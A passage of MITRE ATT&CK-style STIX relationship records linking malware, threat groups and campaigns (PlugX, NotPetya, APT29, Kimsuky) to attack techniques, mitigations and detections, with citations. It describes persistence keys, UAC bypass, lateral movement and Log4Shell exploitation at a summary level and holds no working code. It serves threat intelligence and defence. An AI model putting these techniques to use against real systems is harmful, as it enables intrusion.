CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--234205d5-cc99-435c-bbc8-e2c1d3eb0ac5","type":"relationship","created":"2022-03-16T19:53:13.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:53:13.112Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can modify the characteristics of folders to hide them from the compromised user.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--234867ce-57bb-41c6-beb5-af9cc00e1a39","created":"2022-08-03T15:01:35.693Z","x_mitre_version":"0.1","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can create and export various authentication certificates, including those associated with Azure AD joined/registered devices.(Citation: AADInternals Documentation)","modified":"2022-08-03T15:01:35.693Z","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--234dc427-cce0-45d5-9971-02890aff608d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2020-03-20T21:32:05.934Z","description":"[yty](https://attack.mitre.org/software/S0248) communicates to the C2 server by retrieving a Google Doc.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2355c588-ff82-4eaf-82db-54af59ede582","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2357634d-3e93-41f3-90d5-91fe4d0deb7e","type":"relationship","created":"2019-06-25T15:34:24.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","source_name":"Anomali Template Injection MAR 2018"}],"modified":"2022-01-12T18:16:56.807Z","description":"Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23577031-f987-40c5-95ea-65689f9f39fc","created":"2024-07-01T18:28:04.759Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:28:04.759Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can use one C2 URL for first contact and to upload information about the host computer and two additional C2 URLs for getting commands.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--235a7fee-dfe1-4812-b553-e88bc9d56e89","type":"relationship","created":"2019-03-26T16:19:52.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"}],"modified":"2019-04-24T20:02:45.258Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a","created":"2017-05-31T21:33:27.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Symantec Black Vine","url":"https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Symantec Black Vine)","modified":"2022-07-20T20:09:46.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2365c9aa-96df-47d8-8601-1acdf66737ba","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Apple Developer Configuration Profile","description":"Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.","url":"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"},{"source_name":"iDefense Rootkit Overview","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.","url":"https://www.megasecurity.org/papers/Rootkits.pdf"},{"source_name":"Linux Loadable Kernel Module Insert and Remove LKMs","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.","url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html"},{"source_name":"User Approved Kernel Extension Pike’s","description":"Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.","url":"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"},{"source_name":"Trend Micro Skidmap","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"},{"source_name":"Purves Kextpocalypse 2","description":"Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.","url":"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:30:54.171Z","description":"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package.\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--23679538-e90c-430d-b375-6d8bbf8ec723","created":"2021-11-16T15:32:34.185Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can be decrypted in memory using a Lightweight Encryption Algorithm (LEA)-128 key and decoded using a XOR key.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T14:16:44.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--236e89e9-ee31-4ec7-bc85-cbacffef7b68","created":"2024-02-12T20:01:47.816Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:01:47.816Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses two distinct User Account Control (UAC) bypass techniques to escalate privileges.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2370fba0-1d66-4aad-ac01-fb63857b7732","created":"2021-10-12T20:16:55.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.311Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [SDelete](https://attack.mitre.org/software/S0195), [Tor](https://attack.mitre.org/software/S0183), [meek](https://attack.mitre.org/software/S0175), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Mandiant No Easy Breach)(Citation: F-Secure The Dukes)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--237283ca-5cae-48c3-9a5a-3dc17725cd5f","created":"2020-12-29T16:20:58.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:56:26.923Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) extracts and writes driver files that match the times of other legitimate files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--237429d4-808b-478f-ab0f-a01bff89834e","type":"relationship","created":"2021-09-27T20:50:56.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:22:00.086Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) can download files.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23749a96-a086-4e14-b6c1-44bc9c7d99c1","type":"relationship","created":"2020-10-09T13:47:23.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-10-09T13:47:23.614Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has collected schemas and user accounts from systems running SQL Server.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2374acc8-5a15-40cb-bafc-d74c5097249b","type":"relationship","created":"2021-02-09T14:35:39.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-10-15T21:11:22.370Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has used an executable that installs a modified bootloader to prevent normal boot-up.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--237b3167-feb7-4b28-990d-d810fe99a23b","type":"relationship","created":"2020-10-30T20:08:32.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Kimsuky September 2020","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}],"modified":"2020-10-30T20:08:32.674Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has signed files with the name EGIS CO,. Ltd..(Citation: ThreatConnect Kimsuky September 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--237cd65a-e30e-4f8a-9822-f50b818e1491","type":"relationship","created":"2020-05-21T21:31:34.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.271Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used the Adobe Reader icon for the downloaded file to look more trustworthy.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--237d098d-f796-49a0-bdc8-61909cd74feb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Playbook Dec 2017","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","url":"https://pan-unit42.github.io/playbook_viewer/"}],"modified":"2020-01-17T22:19:53.641Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan adds the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--237d7c2e-503a-420c-bf94-047f5c42a646","created":"2023-01-17T21:50:41.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T16:42:41.518Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2389113c-9a72-4633-aa52-8f77c3df564a","created":"2023-03-26T20:13:49.222Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:13:49.222Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) compromised domains to use for C2.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--238e1f61-36d8-41a9-b480-bb35cb30d21d","created":"2022-04-16T22:12:54.124Z","x_mitre_version":"0.1","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can use stolen service account tokens to perform its operations. It also enables adversaries to switch between valid service accounts.(Citation: Peirates GitHub)","modified":"2022-04-16T22:15:23.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--238f92b3-2573-4332-b290-4685301eae6d","type":"relationship","created":"2021-08-23T19:38:33.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-18T20:36:35.439Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) looks for and attempts to stop database processes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239092bc-09e4-4c16-9d83-071929c9e4a4","type":"relationship","created":"2020-03-02T19:18:20.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-04T13:57:16.862Z","description":"Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2398e409-24d3-4dd9-9353-8b6cf9eee81d","type":"relationship","created":"2021-04-08T18:09:43.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 